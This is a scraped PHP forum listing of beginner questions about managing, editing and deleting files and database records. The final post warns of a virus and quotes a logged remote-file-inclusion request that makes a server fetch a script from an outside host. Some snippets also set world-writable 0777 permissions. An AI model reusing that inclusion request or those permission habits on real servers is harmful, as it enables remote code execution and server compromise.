Tracking Forums, Newsgroups, Maling Lists
Home Scripts Tutorials Tracker Forums
  Advanced Search
  HOME    TRACKER    PHP


SuperbHosting.net have generously sponsored dedicated servers to ensure a reliable and scalable dedicated hosting solution for BigResource.com.





Define Files For View/edit/delete


I am working on this little file manager project, I know, there's lots out there. However, I couldn't find one that paged the results that didn't use a DB. Now that I have it set up (works great),

I'm not sure how to define the files and not mess up the paging - so that if it's a folder you can open it and work with the files, a photo you can view or delete it and if it's a .txt, .php. etc. you can edit it. Code:




View Complete Forum Thread with Replies

Related Forum Messages:
Edit Records From View Script
When I click submit next to a record it does not work. I want to be able to click edit and then be taken to a form with the initial values which I can edit and submit. Code:

View Replies !
Need View/edit Link On Rows Whilst Paging.
i'm trying to insert a view and edit link on each row of the results returned from my database query. I'm using paging to display all the results returned from the query, and this is working fine and dandy. The view_records.php  page consists of a query which returns the id (primary key), company name and section name to a list of 20 results per page.

The actual rows contain much more data than this but i'm using the view_records.php as a preview to be able to quickly scroll through the records and would like a user to be able to either view the row as a page in full, or edit the page in full (all the users are trusted 100% so security is not an issue).

How can I take the individual row id and open this to view the full info, and how can I do this to edit the information? Code:

View Replies !
Delete Option From My View Records Page
I have a list of things I need to do with my database - but this is my next hurdle - the delete query within my view records page. I want to be able to click on a button or link to delete a record in a table. I was envisaging that each record would have a delete button or link next to it and clicking that would remove it. Here is the script I have created to view "Devices": PHP Code:

View Replies !
FFDB Edit And Delete
I've got a news program that you can upload the new news via a form, puts the data into a text file etc. I'm trying to find a way to delete certain lines from the txt file and to be able to edit them. I've played around with a few things but i just can't seem to get anything close to what i'm after.

I've looked around the web but all i can find is like "open the file > put into array > do what needs to be done > write back to the file" which isn't exactly that helpful. Could anybody point me in the right direction as to how to do this? maybe with a better description/example? =D

View Replies !
Edit Delete Form And Quotations
I have a form where I add a lot of ' and " for feet and inches into MYSql and most of this works fine except when I go back to the Edit/Delete Form.

It stores the ' and " in the database, reads and outputs the ' and " on my page but when I use the edit/delete form it cuts off at the '. Is there a simple solution to this on an edit/delete form ?

View Replies !
Database Update/edit And Delete
i have spent the last few days trying to create a simple script to add/edit and delete entries in a mysql database with php. i have 1 database with 40 tables, each table has 3 fields (id, header and body)

i created an input page with input fields for header and body. the table to store the information in is selected from a drop down menu. all this works fine.

for some reason i cannot get the edit and delete page top work at all. would someone mind taking a look at the code and let me know what i am doing wrong? Code:

View Replies !
How To Do Insert,delete,edit Using Ajax
i want to add,delete,edit using ajax.

View Replies !
Simple Login Page To Delete And Edit Things In Mysql Database
How do I build a simple login page on my site? I need a way to login to my admin area in my webshop, so I can add, delete and edit things in mysql database. I don't need help with add, delete and change things, only the login thing.

The users should not even know that there is a admin login page. The users don't login to shop, they just shop so I can't use the user login page because there is no such page. Can someone please give me some guidelines for this?

View Replies !
View Php Files
i got this website which is designed by PHP, but i'm wondering how can i view the website on my computer. i'm running windows 2000 platform and IIS. any specific setup i can do then i can view the website freely?

View Replies !
Way To View PHP Files On Your Computer?
Is there a way to view what certain PHP files will look like, without having to upload them to your server?

I'm testing out page layouts, and its kind of a pain to upload it every time to see what it looks like.

View Replies !
View All Files And Directories
a way to echo out all the files and directories in the root of the site, and for each subdirectory, and subdirectories of the subdirectory, and so on?

View Replies !
View Folder Files
i am looking for a script (in php) which would list the contents of a certain folder on my server and be also able to delete selected files.

View Replies !
Delete Files - Check All Files In /home/radar/kabc*.png
Trying to figure out a code to do something that is probably simple, but I'm not able to find anything to combine to make it happen. Here is what i'd like to accomplish. Check all files in /home/radar/kabc*.png --- if those files are older than x hours, delete them. After deleting those files, I'd like to copy new "placefiles" in the place of the image, basically, copy test.png to kabc101.png (example filename). I'd like to not loop this process if the file size is equal to 123456 bytes exactly, and have the owner of those files a certain user.

What this is, is a radar software that I use to upload to my personal website, so if there's no weather going on, I don't use the radar software, and it's not updating the radar on the web, so, after so many hours of the software not uploading anything new, i'd like to find a way to have these placefiles put in place. Once I start my software again, it'll overwrite those files automatically. Does this seem like it's possible? Is it an easy task?

View Replies !
View But Not Browse Uploaded Files
On a shared server over which I have no configuration control... Can PHP upload files (pic, pdf, doc...) to a folder outside/above the web root but then make them available for display in a browser via links?

/my_root
/email
/uploaded_files <--- put files here
/www <--- my html and php are in here

If so, how would I generate the links? I have tried reading the directory and creating file links with the full path (example: /server/user/my_root/uploaded_files/pic.jpg) but this doesn't work.

View Replies !
Is .txt The Only Way To Edit Files?
When it has extension .php on my computer and I open it it goes to an apache prompt where I cannot type anything else in. When I change it to .txt it allows me to modify the code. Is this the only way I can modify .php coding?

View Replies !
PHP To Edit Files
I'm looking at creating a website that basically saves times and dates and emails specific people (all taken from a mysql database) when times have passed. I suppose something like a birthday reminder site, but not quite. All I'd like to know is: Is this possible and how much of an undertaking is it to get the emails out at specific times, instead of run as a batch at fixed times from a linux cron script.

View Replies !
How To See The Files View In Table Format After I Upload?
how to see the files view in table format after i upload? i mean how to create like

user file uploaded date time
ali abc.xls 05-11-05 09:08am

View Replies !
Edit Files In A Textarea
I want to load existing CSS and/or PHP files in a directory on my server into a textarea as text and edit them, then save onto them.


View Replies !
Need To Somehow Mass Edit Files
Basically I was looking at my FTP and noticed that all accounts PHP files have been edited by a script. under the modified date/time stamp in my ftp I noticed that the files were all edited at a specific time: Code:

View Replies !
Edit Text Files &
I want to create a php script from which i want to call from a html file. What i want to happen is 2 things. Edit a text file and add data to it at the bottom of the file, once that has completed i want to reboot a linux service. Edit a text file and place a "#" before the first character in lines 205 & 298 in that text file I am a newbie to php scripting and i would like to learn.

View Replies !
How Do I Edit A List Of Files Associated With A Product ?
-I wrote a script that you use it to add products in the database.
-Each product is associated with files.
-In the Form to add the product you have to enter the product name in a
textfield and below there are $no_of_add_file filefields.
$no_of_add_file is an integer that determines the Maximum number of
filefields that you want to associate/add for each product.

So it succesfully adds the product and the files in a database and the
filesystem.

The problem I am trying to solve is how am I going to edit those files in
the product.
If you know what I mean... and you have done something like that or you know
a url or script that does that, pls let me know.
What I need mostly, is not the PHP code but the logic and what are the
possible ways of doing something like that.

In the database i have two tables that this script needs:
One is the products and the other the files.

Products : product_id, product_name
Files : file_id, file_name, product_id

View Replies !
Can You Define An Array Constant With Define()?
I have a list of related defines like:

define( "FRUIT1", "apple" );
define( "FRUIT2", "banana" );
define( "FRUIT3", "orange" );

I'd rather keep these defined in one file only so that later when I decide to modify or add to the list I don't have to mess with all my other files.

Elsewhere, I'd like to loop through the constants and be able to obtain their values. This code is fine except that printf() and echo() return the constant name not the value:

$i = 1;

while( defined( "FRUIT$i" ) )
{
echo 'FRUIT$i'
$i++;
}

Ideally, I could define an array constant like this:

define( "FRUIT", { "apple", "banana", "orange" } );

but I don't think PHP allows this. I'd rather not define these as variables and have to mess with calling them in as global variables later, etc.

Any ideas? At the very least, perhaps someone knows how to trick a function like echo() to 'echo( FRUIT1 )' rather than 'echo( "FRUIT1" )'.

View Replies !
Can't Delete My Own Files
i'm trying to create some directories on my server via a script, and copy standard files into them. it all goes smoothly, but i cannot delete the files when i log into my webserver's FTP. i'm guessing wrong chmod code, but its so long since i used unix. here is the code: Quote:

$h_name = "test";

copy("$_SERVER[DOCUMENT_ROOT]/photos/EXAMPLE_HOTEL.php","$_SERVER[DOCUMENT_ROOT]/photos/$h_name.php");
copy("$_SERVER[DOCUMENT_ROOT]/photos/EXAMPLE_HOTEL_window.php","$_SERVER[DOCUMENT_ROOT]/photos/{$h_name}_window.php");

mkdir("$_SERVER[DOCUMENT_ROOT]/photos/$h_name", 0777);

copy("$_SERVER[DOCUMENT_ROOT]/photos/EXAMPLE_index.html","$_SERVER[DOCUMENT_ROOT]/photos/$h_name/index.html");

View Replies !
Delete Files
I have a part of my site that will allow a user to create a group. When they create the group then can assign a picture to that group. I store the filename in the db and then I create create a folder for them on my web server and upload the image to there.

My question is if they choose to update their picture I want to delete the old file and then upload the new file that they choose to be their picture. How would I do this.

I know that I would have to run a query to get the old file name before updating it in the db but after I get that I'm not sure how to delete it from the web server.

I also know how to upload the file so that isn't a problem either, it's just the step before that of deleting it from the server.

View Replies !
How To Delete All Files Beginning With ... ?
I'm using PHP 4. I would like to delete all files in my directory
/mydir that match the regular expression

/mydir/temp*

What is the shortest way in which I can do this?

View Replies !
Delete Record And Files
I have a code that uploads images along with some info into a directory and database, this all works fine. I can delete the record but the images relevent to that record continue to exsist in my images directory. How would i set up a php code to delete a file in ../images when the record of its name is stored in a column in my database. Here is my delete record code:

View Replies !
Delete Certain Files From A Directory...
Is there any way to make a function that deletes all files of a certain EXTENSION? let's say ".txt" files... how could you use the unlink command to delete all files that have the extension ".txt"?? I know how to recursively unlink all files in a directory, but I can't seem to figure out how to delete all files with a certain extension...

View Replies !
Script To Delete Files
I have a website that is hosting mp3's. They are all named and the path is stored in mysql such as 1234.mp3. I am wanting to do a little cleanup and write a script that will check every mp3 file on the site, and then verify through a loop that the song exists in the DB. If not, I want to delete it. I know how to use unlink but am not sure how to setup a loop that will get the filename of every mp3 within a certain directory.

View Replies !
Delete Files Every X Hours
I need a simple snippet that'd point me in the right direction on how to delete all the files inside a folder every __ hours.

View Replies !
Scheduling To Delete Files
in my web site i have an option of building html pages dynamically but,by this i can't save the disk space,i want to delete the files in a schedule dynamically .

View Replies !
Delete Files That Contain Quotes
I created a file upload form. After uploading file that had a quotation mark in it, PHP escaped the quotation mark and now the file name has an illegal character in it. It seems that move_uploaded_file() allowed the file to have the forward slash. I've correct the escaping of quotes issue by using stripslashes on the 2nd parameter.

Now however any files already uploaded that have the illegal character can't seem to be deleted. I can't download them either through ftp. I am using an apache server hosted through site flip. Is there anything I can do to delete these files or am I stuck with them on the web host? Things I've tried. Renaming with PHP, renaming with FTP. None of those seem to work. Is there something I can install that will force a file rename even if it has invalid characters in it?

View Replies !
Delete Files That Are 4 Days Old
i have a code that deletes files that are certain days old, but i dont know exactly how old and i wanted to increase it to delete files that are 4 days old.

unlink $filename if $current - (stat $filename) [10] > 1 * 60 * 60 * 24;

View Replies !
Delete Files From A Directory
I am trying to made a script that will show all the files in a Directory….. Also I want to add the option to delete the files from the directory.

I can view the files on the directory the problem is when I add this line that add the option to delete the files in the directory
LINE--->27 echo "<a href="browserdir2.php/?k='.$link.'&ko=1">'.$file.'</a><br>";

The error message that I get is :

Parse error: syntax error, unexpected T_STRING, expecting ',' or '' in c:diphpwebrootrowserdir2.php on line 27

Code:

View Replies !
Delete Files Recursive
I have a problem and don't know where to begin. My default folder is export. This is where all the files comes in, with all kinds of extentions, but with also a lot of sub-folders. I have a text file with all the extentions, I like to delete from the export folder and all the subfolders. 1 extention at 1 row. Some of these extentions are 'exotic' like exe--fileslack ,so not only the common 3 characters extentions. Is there a way to delete those not wanted files automaticly, without harming the other extentions.

View Replies !
Delete All Files In A Directory
I delete all files in a directory if I don't know the names of the files? I would think I would want to do some kind of file_delete() but don't know if there's a way to have it delete all files that it finds in a certain directory.

View Replies !
Delete Temp Files
I have few GD galleries which work fine. The only problem are the temp files. Before processing pictures, they are copy in my temp directory (as a preview). Is there a way to have a script which will delete temp files which are note dated from today's date. It seems that $_files[date] do not exist.

View Replies !
How Do You Tell If A Page View Is A Direct Hit, Iframe View, Or Other
How can one tell if a hit on a PHP page was generated from an iframe, object/img tag, or a direct hit?

View Replies !
How To Delete Files Uploaded And Now Owned By PHP
Within homes/ PHP creates a directory, it's an integer such as homes/999 or homes/345. Within that new directory, PHP uploads some graphics, .gif or .jpg.

The problem is, that directory and all those graphics are now "owned" by PHP, usually running as nobody or www. I can't delete them or copy them.

I've tried running a chown() within PHP to make myself the owner, but I get "operation not allowed".

The only solution I've found so far is to set umask(0), so that the directory and graphics have 777 permissions. I don't think that's very safe, though, is it?

Does anyone have any suggestions. I want to be able to delete or copy the files like they are mine, but only me or my group. I'm not running the server myself, but those who are seem willing to work with me.

View Replies !
Delete Files On Server Using Browser
I have several php files in a folder. I would like to have the possibility of deleting these files using my browser, rather than having to log onto the server and do that.

Reason? I am dealing with a slightly slippery client, in case he changes the password after i have put the entire site on it, i would like to be able to delete my files, in case i get stiffed on the payment.

Would appreciate any pseudo code/code on getting this done, if possible.

View Replies !
Delete A Directory And All Its Files And Sub-directories?
Does anyone know of, or have code that will delete a php directory and
all its sub directories and files. "unlink" and "rmdir" don't do this.
I'd prefer not to use "exec" with a system call but if that's the only
way, so be it.

View Replies !
Delete Files From A Dir Older Than A Week
The below should delete files from a dir older than a week. I set the $dtime to 0 to test the script but it deletes nothing. What is wrong? Code:

View Replies !
Recursive Delete All Files/folders
I want to delete all file and folder recursivly under php code, can
anyone give me commend for this.

View Replies !
How To Delete All Sessions (session Files)?
What line(s) of PHP code can I use to delete ALL existing session files? I tried:

$_SESSION = array();
session_destroy();

......but those two lines appear to only delete the session file that was created for the current session.

View Replies !
Unlink (delete Files) With Asterix's?
is it possible to delete a file and use an asterix? (or any wildcard)
ie, I tried  @unlink(Username_CV_."*"); and @unlink(Username_CV_.*); to no success.

the ending is a date, so it could be Username_CV_june27_2007 or aug31 or whatever, and obviously I don't want to delete ALL the files from other users as well...

I guess I could store the file name in a table, but it would be nicer to not need that to simply delete simple a file..

View Replies !
Delete Files On Win2k - Permission Denied
I'm trying to delete local files within a php-script running on win2k (I'm loggend in as administrator, the script is not meant to run in a web-environment but only from commandline).

the problem is I get a "permission denied" when I try to delete the file with unlink($file) or try to move it with ($oldpath.$file,$newpath.$file). since I'm administrator there shouldn't be problems with win2k's file-permissions, the files I'm trying to delete are full accessible for everyone.
the php manual says that "unlink" probably won't work on windows but doesn't say how to delete files then?

View Replies !
Delete Records And Files In 1 Statement At Same Time?
How can i delete records and files in 1 statement at same time?

View Replies !
Delete Files From Server Based On Filename...
I need to open a folder on my server, then look at the files in the folder.... then if I find a file that meets a criteria - i want to delete it. for example, I have a file list such as

1_hello.jpg
1_boo.gif
2_raaaa.gif
4_mad.jpg
etc etc

The numbers at the beginning indicate the userid and an image they have uploaded... I need to open the folder, tell the script that anything starting with a "1_" should be deleted.

View Replies !
Check For Other Files With The Same Name But With A Differrent Extension And Delete Them
I'm using this to upload a file and then rename it to a format like 4-5.jpg: I would like to check for other files with the same name but with a differrent extension and delete them. How would i do that? PHP Code:

$tmp_name = $_FILES["pic"]["tmp_name"][$key];
      $name = $_FILES["pic"]["name"][$key];
      move_uploaded_file($tmp_name, "$archive_dir/$name");
      $ext = substr_replace($_FILES["pic"]["name"][$key],"",0,strpos ($_FILES["pic"]["name"][$key],"."));

      $new_fn[$key] = $item_no."-".$key.$ext;
      rename("$archive_dir/$name", "$archive_dir/$new_fn[$key]");

View Replies !
How Do Delete All Of The User's Temporary Internet Files?
I have a site with a flash object. IE7 keep caching the photos of the flash. i tried clearstatcache() but it didn't.

View Replies !
How Can Delete Spaces And Special Chars At Files In Several Directories?
a mp3 file in a directory is named &#350;ebnem Ferah - S&#304;GARA.mp3
but it is nearly 900mb all of this files and nearly 20 directories I have..
do you know a way to rename this files name by easly?

View Replies !
Can't Delete Files On Folders Via Ftp :: Chmod(): Operation Not Permitted
I had some problems with an upload script i was working on. This has resulted in what has been uploaded undeletable. File that havebeen upload have there chmod set to 644. I tried changing this in the delete script but i am getting an error

chmod(): Operation not permitted

So i tried to delete via my ftp prog and get the same problem.

Does anyone know of a solution?

$filepath = "../../media/portfolio/".$clID."/";
if ($handle = opendir($filepath)) {
    while (false !== ($file1 = readdir($handle))) {
        if ($file1 != "." && $file1 != "..") {
        $old = umask(0);
        chmod($filepath.$file1, 0755);
            $del = unlink($filepath.$file1);
            umask($old);
        }
    }    
    closedir($handle);
    $del2 = rmdir("../../media/portfolio/".$clID);
}

View Replies !
PHP/Perl/Unix Virus: Delete Config.php Files Asap
There were some strange requests to my server asking for config.php
file (which I do not have in the requested location).

I did some investigation. Seems to be a virus written in perl,
exploiting a vulnerability in php code.

The requests are like this

216.120.231.252 - - [30/Aug/2006:13:28:03 -0500] "GET /algebra/about/history/config.php?returnpath=http://domates.1gig.biz/spread.txt? HTTP/1.1" 404 561 "-" "libwww-perl/5.805"

File spread.txt contains this:

View Replies !

Copyright © 2005-08 www.BigResource.com, All rights reserved